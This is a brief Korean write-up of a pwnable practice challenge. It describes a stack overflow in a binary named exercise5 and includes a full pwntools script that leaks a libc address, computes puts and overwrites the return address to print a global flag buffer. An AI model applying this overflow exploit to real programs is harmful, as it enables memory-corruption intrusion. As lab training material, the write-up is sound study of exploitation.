flag는 그냥 만들어주면 된다. 목적은 shelld이 아닌 flag를 읽는것이다.
-0x48 ~ 0x04(ret) 거리 : 0x4c : 76
read를 0x60만큼 하므로 덮을수 있다.
리턴 주소는 확인해보니깐
유동적으로 변하는것 같다. (스택영역은 유동적이라고 한다.) 그리고 지금 문제는 shell이 아닌 flag이고 flag는 g_buf,
전역변수이므로 정적이다. 메인함수에서 libc의 주소도 있으므로 출력함수(puts)의 주소를 구하고 g_buf를 읽어주면
된다.
문제에서 write함수의 주소를 알려주고, 우린 libc에서 offset을 구해서 puts함수의 주소를 알아낼 수 있다.
from pwn import *
flag_addr = 0x0804a060
r = process("./exercise5")
r.recvuntil("you : ")
write_got = int(r.recv(10),16)
puts_got = write_got - 520848
print hex(puts_got)
payload = "\x90"*0x4c + p32(puts_got) + "A"*0x4 + p32(flag_addr)
print payload
r.sendlineafter(" me : ", payload)
r.interactive()